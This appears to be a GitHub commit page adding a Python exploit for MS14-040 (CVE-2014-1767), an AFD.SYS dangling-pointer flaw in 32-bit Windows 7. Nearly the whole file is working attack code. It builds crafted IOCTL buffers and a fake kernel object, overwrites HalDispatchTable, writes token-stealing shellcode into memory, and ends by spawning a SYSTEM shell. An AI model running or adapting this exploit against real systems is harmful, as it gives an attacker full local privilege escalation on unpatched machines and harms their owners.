Skip to content

Commit 4f33485

Browse files
committed
MS14-040
1 parent bd88395 commit 4f33485

File tree

6 files changed

+627
-0
lines changed

6 files changed

+627
-0
lines changed

MS14-040/CVE-2014-1767/39446.py

Lines changed: 281 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,281 @@
1+
# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer
2+
# Date: 2016-02-05
3+
# Exploit Author: Rick Larabee
4+
# Vendor Homepage: www.microsoft.com
5+
# Version: Windows 7, 32 bit
6+
# Tested on: Win7 x32
7+
# afd.sys - 6.1.7600.16385
8+
# ntdll.dll - 6.1.7600.16385
9+
#
10+
# CVE : CVE-2014-1767
11+
# Category: Local Privilege Escalation
12+
# References:
13+
# http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
14+
# http://ricklarabee.blogspot.com/
15+
# https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/
16+
# https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
17+
# http://www.cvedetails.com/cve/CVE-2014-1767/
18+
#
19+
# Greetz: PWN4GEPWN1E, SecurityMook
20+
21+
22+
23+
from ctypes import *
24+
import socket, time, os, struct, sys
25+
from ctypes.wintypes import HANDLE, DWORD
26+
27+
kernel32 = windll.kernel32
28+
ntdll = windll.ntdll
29+
Psapi = windll.Psapi
30+
31+
MEMRES = (0x1000 | 0x2000)
32+
PAGEEXE = 0x00000040
33+
Zerobits = c_int(0)
34+
RegionSize = c_int(0x1000)
35+
written = c_int(0)
36+
37+
FakeObjSize = 0xA0
38+
39+
GENERIC_READ = 0x80000000
40+
GENERIC_WRITE = 0x40000000
41+
GENERIC_EXECUTE = 0x20000000
42+
GENERIC_ALL = 0x10000000
43+
INVALID_HANDLE_VALUE = -1
44+
45+
WSAGetLastError = windll.Ws2_32.WSAGetLastError
46+
WSAGetLastError.argtypes = ()
47+
WSAGetLastError.restype = c_int
48+
SOCKET = c_int
49+
WSASocket = windll.Ws2_32.WSASocketA
50+
WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
51+
WSASocket.restype = SOCKET
52+
closesocket = windll.Ws2_32.closesocket
53+
closesocket.argtypes = (SOCKET,)
54+
closesocket.restype = c_int
55+
connect = windll.Ws2_32.connect
56+
connect.argtypes = (SOCKET, c_void_p, c_int)
57+
connect.restype = c_int
58+
59+
class sockaddr_in(Structure):
60+
_fields_ = [
61+
("sin_family", c_short),
62+
("sin_port", c_ushort),
63+
("sin_addr", c_ulong),
64+
("sin_zero", c_char * 8),
65+
]
66+
67+
def findSysBase(drvname=None):
68+
ARRAY_SIZE = 1024
69+
myarray = c_ulong * ARRAY_SIZE
70+
lpImageBase = myarray()
71+
cb = c_int(1024)
72+
lpcbNeeded = c_long()
73+
drivername_size = c_long()
74+
drivername_size.value = 48
75+
76+
Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
77+
for baseaddy in lpImageBase:
78+
drivername = c_char_p("\x00"*drivername_size.value)
79+
if baseaddy:
80+
Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,
81+
drivername_size.value)
82+
if drvname:
83+
if drivername.value.lower() == drvname:
84+
print "[+] Retrieving %s info..." % drvname
85+
print "[+] %s base address: %s" % (drvname, hex(baseaddy))
86+
return baseaddy
87+
else:
88+
if drivername.value.lower().find("krnl") !=-1:
89+
print "[+] Retrieving Kernel info..."
90+
print "[+] Kernel version:", drivername.value
91+
print "[+] Kernel base address: %s" % hex(baseaddy)
92+
return (baseaddy, drivername.value)
93+
return None
94+
95+
96+
def CreateBuffer1():
97+
inbuf1size = 0x30
98+
virtualAddress = 0x18888888
99+
length = 0x20000
100+
101+
inbuf1 = "\x00" * 0x18 + struct.pack("L", virtualAddress) #0x1a
102+
inbuf1 += struct.pack("L", length) #0x20
103+
inbuf1 += "\x00" * 0x8 + "\x01"
104+
inbuf1 += "\x00" * (inbuf1size - len(inbuf1))
105+
106+
baseadd = c_int(0x1001)
107+
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
108+
byref(baseadd),
109+
0x0,
110+
byref(RegionSize),
111+
MEMRES,
112+
PAGEEXE)
113+
kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written))
114+
115+
116+
def CreateBuffer2():
117+
inbuf2size = 0x10
118+
addrforbuf2 = 0x0AAAAAAA
119+
120+
inbuf2 = "\x01\x00\x00\x00"
121+
inbuf2 += struct.pack("L", addrforbuf2)
122+
inbuf2 += "\x00" * (inbuf2size -len(inbuf2))
123+
124+
baseadd = c_int(0x2001)
125+
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
126+
byref(baseadd),
127+
0x0,
128+
byref(RegionSize),
129+
MEMRES,
130+
PAGEEXE)
131+
kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written))
132+
133+
def CreateFakeObject():
134+
print "[+] Print creating fakeobject"
135+
fakeobject2addr = 0x2200
136+
fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C)
137+
fakeobj2size = len(fakeobject2)
138+
kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))
139+
140+
objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00"
141+
"\x00\x00\x00\x00\x00\x00\x00\x00"
142+
"\x01\x00\x00\x00\x01\x00\x00\x00"
143+
"\x00\x00\x00\x00\x16\x00\x08\x00"
144+
"\x00\x00\x00\x00\x00\x00\x00\x00")
145+
146+
147+
fakeobject = objhead
148+
fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4)
149+
fakeobject += "\x41" * (FakeObjSize - len(fakeobject))
150+
kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written))
151+
152+
print "[+] creating socket..."
153+
sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)
154+
155+
if sock == -1:
156+
print "[-] no luck creating socket!"
157+
sys.exit(1)
158+
159+
print "[+] got sock 0x%x" % sock
160+
161+
addr = sockaddr_in()
162+
addr.sin_family = socket.AF_INET
163+
addr.sin_port = socket.htons(135)
164+
addr.sin_addr = socket.htonl(0x7f000001)
165+
166+
connect(sock, byref(addr), sizeof(addr))
167+
168+
print "[+] sock connected."
169+
print "\n[+] GO!"
170+
171+
(krnlbase, kernelver) = findSysBase()
172+
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
173+
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
174+
HalDispatchTable -= hKernel
175+
HalDispatchTable += krnlbase
176+
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
177+
halbase = findSysBase("halmacpi.dll")
178+
OS = "7"
179+
if OS == "7":
180+
HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7
181+
_KPROCESS = "\x50"
182+
_TOKEN = "\xf8"
183+
_UPID = "\xb4"
184+
_APLINKS = "\xb8"
185+
186+
print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)
187+
188+
IoStatus = c_ulong()
189+
IoStatusBlock = c_ulong()
190+
191+
CreateBuffer1()
192+
CreateBuffer2()
193+
CreateFakeObject()
194+
195+
inbuf1 = 0x1000
196+
inbuf2 = 0x2000
197+
hWF = HANDLE(0)
198+
FakeWorkerFactoryADDR = 0x2100
199+
200+
201+
# Trigger 1
202+
# afd!afdTransmitFile
203+
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0)
204+
205+
CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0))
206+
207+
ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0)
208+
hWFaddr = hWF
209+
print "[+] WorkerFactoryHandle:", hWF.value
210+
hWFaddr = int(addressof(hWF))
211+
212+
shellcode_address = 0x00020700
213+
padding = "\x90"*2
214+
HalDispatchTable0x4 = HalDispatchTable + 0x4
215+
216+
_WFValue = struct.pack("L", hWFaddr)
217+
218+
sc_pointer = struct.pack("L", shellcode_address+0x4)
219+
restore_ptrs = "\x31\xc0" + \
220+
"\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
221+
"\xa3" + struct.pack("L", HalDispatchTable0x4)
222+
223+
tokenstealing = "\x52" +\
224+
"\x53" +\
225+
"\x33\xc0" +\
226+
"\x64\x8b\x80\x24\x01\x00\x00" +\
227+
"\x8b\x40" + _KPROCESS +\
228+
"\x8b\xc8" +\
229+
"\x8b\x98" + _TOKEN + "\x00\x00\x00" +\
230+
"\x89\x1d\x00\x09\x02\x00" +\
231+
"\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
232+
"\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
233+
"\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
234+
"\x75\xe8" +\
235+
"\x8b\x90" + _TOKEN + "\x00\x00\x00" +\
236+
"\x8b\xc1" +\
237+
"\x89\x90" + _TOKEN + "\x00\x00\x00"
238+
239+
fixobjheaders = "\x33\xC0" +\
240+
"\x64\x8B\x80\x24\x01\x00\x00" +\
241+
"\x8B\x40\x50" +\
242+
"\x8B\x80\xF4\x00\x00\x00" +\
243+
"\x8B\xD8" +\
244+
"\x8B\x00" +\
245+
"\x8B\x0D" + _WFValue +\
246+
"\x83\xE1\xFC" +\
247+
"\x03\xC9" +\
248+
"\x03\xC1" +\
249+
"\xC7\x00\x00\x00\x00\x00" +\
250+
"\x83\xC3\x30" +\
251+
"\x8B\xC3" +\
252+
"\x8B\x1B" +\
253+
"\x83\xEB\x01" +\
254+
"\x89\x18" +\
255+
"\x5B" +\
256+
"\x5A" +\
257+
"\xC2\x10\x00"
258+
259+
260+
shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
261+
shellcode_size = len(shellcode)
262+
orig_size = shellcode_size
263+
startPage = c_int(0x00020000)
264+
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
265+
kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))
266+
267+
268+
### Trigger 2
269+
## afd!AfdTransmitPackets
270+
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0)
271+
272+
ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)
273+
274+
ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ;
275+
276+
inp = c_ulong()
277+
out = c_ulong()
278+
inp = 0x1337
279+
qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
280+
print "[*] Spawning a SYSTEM shell..."
281+
os.system("cmd.exe /K cd c:\\windows\\system32")

0 commit comments

Comments
 (0)